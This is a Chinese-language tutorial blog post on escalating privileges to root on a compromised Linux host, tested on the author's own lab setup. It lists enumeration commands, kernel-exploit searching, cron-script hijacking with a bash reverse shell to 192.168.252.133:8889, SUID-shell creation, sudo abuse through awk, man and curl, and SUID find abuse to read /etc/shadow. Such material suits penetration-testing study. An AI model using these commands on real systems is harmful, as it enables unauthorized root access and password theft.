Linux提权

我们在拿到网站权限之后,我们为了能够更好的控制主机,我们一般会进行提权,在Linux下我们一般需要把权限提高为root,接下来我们就针对Linux提权的几种方法进行介绍。

提权的基本思路

信息收集
信息收集是最关键的一步,这里决定了我们使用什么方式进行提权,使用提权的exp是什么,能否在主机文件中找到带有敏感信息的文件等。
漏洞发现
我们在信息收集之后,就可以根据其在网络中搜索相应的EXP,帮助我们更快的找到提权方法。
漏洞利用
到这一步的时候,就代表我们就已经确定了漏洞的位置以及漏洞的利用方法,我们可以通过漏洞完成提权。

Linux基本信息收集命令

内核、操作系统和设备信息

uname -a            打印所有可用的系统信息
uname -r            内核版本
uname -n             系统主机名
uname -m             查看系统内核架构(64/32)
hostname            系统主机名
cat /proc/version    内核信息
cat /etc/*-release    发行版本信息
cat /etc/issus        分发信息
cat /proc/cpuinfo    CPU信息

计算机用户和群组

cat /etc/passwd        列出系统上所有的用户
cat /etc/group        列出系统上所有的组
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1 }'列出所有的超级用户帐户
whoami                查看当前用户
w                    谁目前已经登录,他们正在做什么
last                最后登录用户的列表
lastlog                所有用户上次登录的信息
lastlog -u %username%    有关指定用户上次登录的信息
lastlog | grep -v "Never"    不显示从未登录的用户

用户权限信息

id                    当前用户信息
cat /etc/sudoers    谁被允许以root身份执行
sudo -l                当前用户可以以root身份执行操作
chmod 777 xxx        给xxx以所有权限

计算机环境信息

env                    显示环境变量
set                    显示环境变量
echo %PATH            路径信息
history                显示当前用户的历史命令
pwd                    输出工作目录
cat /etc/profile    显示默认系统变量
cat /etc/shells        显示可用的shell

几种提权方式

利用内核溢出提权

这种漏洞一般在网上有公开的EXP,我们在收集到目标主机的关键信息之后,就可以搜索相应的exp,基本的信息收集命令我们已经在之前列出。

信息收集

uname -a            打印所有可用的系统信息
cat /etc/*-release    发行版本信息

我们得到信息:系统版本CentOS 6.10,内核版本2.6.32,架构x86_64

接着我们可以在www.exploit-db.com根据我们得到的信息搜索相应的漏洞

还可以使用kali系统中的searchsploit,这是一个基于Exploit-DB的搜索工具,他已经将漏洞的信息以及EXP保存在了本地,所以在离线状态我们也可以使用。

searchsploit linux 2.6 CentOS 6.10


如果搜索到的结果不理想我们可以适当的减少搜索条件。

通过脚本来获取漏洞信息

如果我们有文件写入的权限,我们可以上传一个脚本来检测系统提权漏洞,脚本下载地址https://github.com/mzet-/linux-exploit-suggester
我们将脚本上传到目标主机中,执行命令

chmod +x linux-exploit-suggester    一般我们需要给文件赋予执行权限
./linux-exploit-suggester.sh        运行脚本


我们可以看到,这里已经检测出了可能存在脏牛内核提权漏洞。

明文root密码提权

遇到这种概率情况的概率非常小,不过也是一种思路,我们在这里介绍一下
我们在遇到linux之后,想要获取账号信息和密码信息一般有两个文件一个是/etc/passwd另一个是/etc/shadow,在passwd中存放的是用户帐户,shadow中存放的是用户的密码hash,正常情况下passwd所有用户可读,root用户可读可写,shadow只有root用户可读写。
我们可以看一下/etc/passwd文件中的内容。

其每一行代表的意义如下

root:x:0:0:root:/root:/bin/bash
用户名:密码(x代表密码放到了shadow中):用户标识号(UID,0为root用户,1-99保留,100开始为普通用户):组标识号(GID):注释性描述:主目录:登录shell

我们接着看shadow文件中的内容

其每一行代表的意义如下

root:$1$UM066ZWg$oVVJwzE3Bv3FSj//bMNhe.:18406:0:99999:7:::
用户名:加密口令:最后一次修改时间:最小时间间隔(修改口令):最大时间间隔:警告时间:不活动时间:失效时间:标志

其中加密口令位置各种字符代表的信息
1.如果为空,则对应用户没有口令,登录时不需要口令;
2.星号代表帐号被锁定
3.双叹号表示这个密码已经过期了
4.$6$开头的,表明是用SHA-512加密
5.$1$表明是用MD5加密
6.$2$ 是用Blowfish加密
7.$5$ 是用 SHA-256加密

了解过两个文件之后,我们就应该可以知道如何通过操作这两个文件来进行修改帐户信息。比如我们遇到了passwd文件可写,那我们就可以修改其中密码的位置,设置为我们已知密码的hash,如果shadow可读,我们就可以尝试破解密码。

密码复用

我们在提权之前可能就会获取一些其他帐户或者权限管理的密码,比如数据库,后台密码等,我们在这里可以尝试使用这些密码来登录root帐户。
不过这里我们还需要注意一点,linux要求用户必须从终端设备中输入密码,而不是从标准输入中(stdin),我们获取的低权限shell中就无法完成密码的输入,因为使用sudo输入密码的时候,这里获取的是键盘的输入而不是bash输入的字符,所以为了能够输入密码,我们需要模拟一个终端出来,使用python反弹回来一个终端可以解决这个问题

python -c 'import pty;pty.spawn("/bin/sh")'
sudo su            #这里我们就可以正常输入密码

计划任务

在Linux系统中可能会存在一些定时的任务,这些任务由crontab来管理,这些定时任务具有其所属用户的权限,非root权限的用户不可以列出root用户的定时任务,但是/etc系统内的定时计划任务可以被列出。

cat -l /etc/cron*

重写脚本文件
如果这些计划任务执行的脚本可写,我们可以尝试修改脚本来反弹shell
crontab文件是几环任务的配置文件,这个文件只有root可写,不过系统存在计划任务的时候,我们无需去修改crontab文件,我们只需要查看其计划任务执行的脚本文件的权限,如果可写我们就尝试修改这个文件。
为了测试我已经添加了一个定时任务python test.py,查看定时任务一般有两种crontab -ecat /etc/crontab都可通过编辑文件来添加定时任务。

这里我们可以看到有一个每分钟执行的定时任务
而且我们也有对py文件修改的权限,我们可以写入如下代码来进行提权

import os
import os os.system('cp /bin/sh /tmp/sh') os.system('chmod u+s /tmp/sh')

如果是sh文件,我们可以直接写入echo "bash -i >& /dev/tcp/192.168.252.133/8889 0>&1" | bash来反弹一个root权限的shell。

sudo滥用

我们在操作Linux系统的时候,如果如果遇到权限不够的时候,会在命令前添加sudo来执行,sudo是让普通用户执行root命令的工具,起配置文件是/etc/sudoers,文件中定义了哪些用户可以执行sudo命令,定义了某个应用程序用root访问是否需要密码验证。
我们一般获取到shell之后会使用sudo -l来查看自己的权限,入股出现如下入情况就代表我们当前的权限是root

如果我们在测试的时候,自己的用户可以使用sudo来执行命令,那我们的操作就是以root权限执行的,这个漏洞其实就是因为系统操作人员配置不当导致的,在正常情况下我们可以判断一下自己的用户是否可以使用sudo
这里我们为了进行测试,我们手动给test001用户添加了sudo权限。

test001 ALL=(ALL)    ALL


接下来我们就针对sudo可以使用的几个命令进行测试,其中sudo可以支持的命令可以在这里查看https://gtfobins.github.io/
其实在可以使用sudo命令之后,以下命令都是多余的,不过既然测试了就记录下来。
1.su
这个命令使用来切换用户的,除了root外,其他用户切换用户均需要输入密码,以下命令切换到root。

sudo su

2.awk
awk是一种处理文本的语言,不过我们这里可以使用它来获取一个root权限的shell,我们可以使用这个命令配合sudo获取一个root权限的shell。

sudo awk 'BEGIN {system("/bin/sh")}'


3.man
这个命令是用来查看其他命令的参数的,不过我们这里也可以来获取shell。
不过要使用man来获取shell,我们需要一个终端,这里我们首先在反弹的shell中执行如下来返回一个虚拟终端。

python -c 'import pty;pty.spawn("/bin/sh")'

接着执行

sudo man man 
!/bin/sh


最终返回一个root权限的shell

4.curl
curl是一个利用URL规则在命令行下工作的文件传输工具,我们可以利用它来读取本地文件。

sudo curl file:///etc/shadow

SUID

SUID是一种特殊的文件属性,它允许用户执行的文件以该文件的拥有者的身份运行,我们使用ls -la查看时候带有s属性才支持SUID。

举个例子,我们知道正常情况下普通用户是无法查看和修改/etc/shadow中的内容的,但是我们使用passwd就可以修改用户的密码从而修改了shadow文件内容,这就是SUID的作用。
我们再以C语言的程序举个例子

#include <stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//以root运行
system("cat /etc/shadow");
}

接着对其进行编译然后添加SUID权限。

gcc test.c -o test
chmod u+s test

之后查看文件就是上面的格式,这样就算不是root用户也可以执行这个文件来查看shadow文件中的内容了。

了解过这些之后,我们需要知道当前linux中可以用来提权的可执行文件

name vim find bash more less nano cp

我们可以通过以下命令来查找系统中存在SUID权限的文件,我们可以看到,我们之前创建的test3也被找到了。

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null 


接下来我们使用find xxx -exec whoami \;来判断是否可以以root权限来执行。
这里我们系统中可以用来提权的命令都没有SUID权限,这里我们就手动给find命令来添加SUID权限然后来测试提权,如果给find添加了SUID权限,那么其执行的命令都是以root权限执行的。

chmod u+s /usr/bin/find

接着我们可以在反弹的shell中测试,命令如下

find / -perm -u=s -type f 2>/dev/null | grep find    //查看find是否有SUID权限
find 123.txt -exec cat /etc/shadow \;    //使用find命令来读取shadow文件

其它

Linux提权还有其他的方式,比如查看历史命令记录,还有其他的服务漏洞导致可以提权的,这种每一种都可以展开讲,这里就暂不介绍了。

参考文章:

https://blog.csdn.net/love20165104027/article/details/82386271
https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651069847&idx=3&sn=327a2a879577b0125e193badd2d38e05&chksm=bd1f8f1c8a68060af6b796320fa165f57449cf8f48299e7fcc0c7bd2662dd8c6c59b578b5915&mpshare=1&scene=23&srcid=0922J56qbNEqZQm8AmkiJF4w&sharer_sharetime=1600778027043&sharer_shareid=99867ebe643afa72bf08df75a04e311b#rd

最后修改:2020 年 09 月 24 日 05 : 34 PM